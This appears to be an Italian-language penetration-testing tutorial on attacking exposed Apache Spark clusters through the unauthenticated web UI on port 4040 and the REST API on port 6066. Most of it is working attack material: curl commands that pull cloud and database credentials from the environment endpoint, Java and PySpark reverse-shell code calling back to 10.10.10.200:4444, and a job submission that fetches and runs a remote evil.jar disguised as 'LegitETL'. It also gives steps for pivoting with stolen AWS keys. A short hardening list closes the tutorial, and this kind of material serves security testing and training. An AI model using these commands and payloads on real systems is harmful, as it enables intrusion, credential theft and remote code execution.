Porta 4040 Spark UI: Pentest, Credenziali e Cluster Map

Porta 4040 Spark UI nel pentest: environment leak, worker discovery, credenziali esposte e pivot verso REST API 6066 e cluster big data.
- Pubblicato il 2026-04-14
- Tempo di lettura: 3 min
Apache Spark è il framework di elaborazione dati distribuita più usato in ambito big data e machine learning. La porta 4040 ospita la Spark Web UI, un’interfaccia diagnostica che mostra job in esecuzione, configurazione, variabili d’ambiente e metriche del cluster. Non richiede autenticazione di default. Nel penetration testing, la Spark UI esposta è un finding di alto valore: non solo rivela l’intera configurazione del cluster con hostname interni e credenziali in chiaro nelle variabili d’ambiente, ma le versioni con REST API abilitata sulla porta 6066 permettono di sottomettere job arbitrari — Remote Code Execution come utente Spark sull’infrastruttura big data.
La Spark UI sulla 4040 è l’interfaccia del driver (il processo che coordina il job). Ogni applicazione Spark ha la sua UI su una porta incrementale (4040, 4041, 4042…). Il Spark Master ha una UI separata sulla porta 8080. Lo Spark History Server sulla 18080. Tutte senza autenticazione di default.
Architettura Porte Spark #
┌────────────────────────────────────────────────┐
│ Spark Cluster │
│ │
│ Master (:8080 UI, :7077 cluster, :6066 REST) │
│ ├── Worker 1 (:8081 UI) │
│ ├── Worker 2 (:8081 UI) │
│ └── Worker 3 (:8081 UI) │
│ │
│ Driver Application (:4040 UI) ← QUESTA PORTA │
│ │
│ History Server (:18080 UI) │
└────────────────────────────────────────────────┘| Porta | Servizio | Autenticazione default |
|---|---|---|
| 4040 | Application UI (driver) | Nessuna |
| 7077 | Master cluster protocol | Nessuna |
| 6066 | Master REST API | Nessuna |
| 8080 | Master Web UI | Nessuna |
| 8081 | Worker Web UI | Nessuna |
| 18080 | History Server | Nessuna |
1. Enumerazione #
Nmap #
nmap -sV -p 4040,6066,7077,8080,8081,18080 10.10.10.40PORT STATE SERVICE VERSION
4040/tcp open http Jetty (Spark UI)
6066/tcp open http Spark REST API
7077/tcp open spark-master
8080/tcp open http Spark Master UISpark Application UI (porta 4040) #
curl -s http://10.10.10.40:4040/La dashboard mostra: job attivi e completati, stages, storage, environment e executors.
Environment — Il Tesoro #
curl -s http://10.10.10.40:4040/api/v1/applications/ | python3 -m json.tool[{
"id": "app-20260115100000-0001",
"name": "ProductionETL",
"attempts": [{
"startTime": "2026-01-15T10:00:00.000GMT",
"sparkUser": "spark"
}]
}]# Environment completo — QUI CI SONO LE CREDENZIALI
curl -s http://10.10.10.40:4040/api/v1/applications/app-20260115100000-0001/environment | python3 -m json.tool{
"sparkProperties": [
["spark.master", "spark://master-01.corp.internal:7077"],
["spark.app.name", "ProductionETL"],
["spark.hadoop.fs.s3a.access.key", "AKIAIOSFODNN7EXAMPLE"],
["spark.hadoop.fs.s3a.secret.key", "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"],
["spark.jdbc.url", "jdbc:mysql://db-prod.corp.internal:3306/analytics"],
["spark.jdbc.user", "etl_user"],
["spark.jdbc.password", "ETL_Pr0d_2025!"]
],
"systemProperties": [
["user.name", "spark"],
["os.name", "Linux"],
["os.version", "5.15.0-91-generic"],
["java.version", "11.0.15"]
],
"environmentVariables": [
["AWS_ACCESS_KEY_ID", "AKIAIOSFODNN7EXAMPLE"],
["AWS_SECRET_ACCESS_KEY", "wJalrXUtnFEMI/K7MDENG/..."],
["HADOOP_HOME", "/opt/hadoop"]
]
}Gold puro in una singola richiesta HTTP:
- spark.master: hostname del master →
master-01.corp.internal:7077 - AWS keys: access key e secret key per S3 → privilege escalation AWS
- JDBC credentials: utente e password per MySQL di produzione
- Hostname interni: mappa dell’infrastruttura
- Java e kernel version: per cercare kernel exploit e CVE Java
Executors — Mappa dei Worker #
curl -s http://10.10.10.40:4040/api/v1/applications/app-.../allexecutors | python3 -m json.tool[
{"id": "0", "hostPort": "worker-01.corp.internal:45678", "totalCores": 8},
{"id": "1", "hostPort": "worker-02.corp.internal:45679", "totalCores": 8},
{"id": "2", "hostPort": "worker-03.corp.internal:45680", "totalCores": 8}
]Tre worker con hostname — nuovi target.
Master UI (porta 8080) #
curl -s http://10.10.10.40:8080/Mostra tutti i worker, tutte le applicazioni, risorse del cluster. Senza auth → vista completa.
2. RCE tramite REST API (porta 6066) #
Se la porta 6066 è esposta, puoi sottomettere job arbitrari.
Verifica REST API #
curl -s http://10.10.10.40:6066/v1/submissions/status/driver-0Se risponde → REST API attiva.
Reverse shell via Spark job (Java) #
// Evil.java
import java.io.*;
public class Evil {
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec(new String[]{
"/bin/bash", "-c",
"bash -i >& /dev/tcp/10.10.10.200/4444 0>&1"
});
}
}javac Evil.java && jar cfe evil.jar Evil Evil.classcurl -X POST http://10.10.10.40:6066/v1/submissions/create \
--header "Content-Type:application/json" \
-d '{
"appResource": "http://10.10.10.200/evil.jar",
"sparkProperties": {
"spark.master": "spark://10.10.10.40:7077",
"spark.app.name": "LegitETL",
"spark.submit.deployMode": "cluster"
},
"mainClass": "Evil",
"action": "CreateSubmissionRequest"
}'Job eseguito su un worker → reverse shell come utente spark.
RCE via PySpark #
# evil.py su un server raggiungibile
import os; os.system("bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1'")Sottometti come PythonRunner via REST API.
3. Pivoting nell’Infrastruttura Big Data #
Da Spark a Hadoop/HDFS #
curl -s http://10.10.10.40:4040/api/v1/applications/APP_ID/environment | grep hadoopspark.hadoop.fs.defaultFS = hdfs://namenode-01.corp.internal:8020NameNode → WebUI HDFS (porta 9870) → filesystem distribuito.
Da Spark a Database #
Credenziali JDBC trovate → MySQL, Oracle.
Da Spark ad AWS/S3 #
export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/...
aws s3 ls
aws sts get-caller-identityDa Spark a Kafka/Zookeeper #
spark.kafka.bootstrap.servers = kafka-01.corp.internal:9092I broker Kafka e Zookeeper sono ora target per l’enumerazione.
4. Detection & Hardening #
- ACL sulla Web UI —
spark.ui.filtersper autenticazione - Disabilita REST API se non necessaria:
spark.master.rest.enabled=false - Firewall — porte 4040, 6066, 7077, 8080, 8081 SOLO sulla rete interna del cluster
- Non mettere credenziali nelle spark properties — usa secret manager (Vault, AWS Secrets Manager)
- Kerberos per Spark in ambienti Hadoop
- Network segmentation — cluster big data isolato
- Audit log — monitora job sottomessi via REST API
5. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 4040,6066,7077,8080 target |
| Application list | curl -s http://target:4040/api/v1/applications/ |
| Environment (creds!) | curl -s http://target:4040/api/v1/applications/APP_ID/environment |
| Executors (workers) | curl -s http://target:4040/api/v1/applications/APP_ID/allexecutors |
| Master UI | curl -s http://target:8080/ |
| REST API status | curl -s http://target:6066/v1/submissions/status/driver-0 |
| Submit job (RCE) | curl -X POST http://target:6066/v1/submissions/create -d '{...}' |
| SQL queries | curl -s http://target:4040/api/v1/applications/APP_ID/sql/ |
| History server | curl -s http://target:18080/api/v1/applications/ |
Riferimento: Apache Spark Security documentation, HackTricks Spark, big data security best practices. Uso esclusivo in ambienti autorizzati. https://spark.apache.org/docs/latest/configuration.html







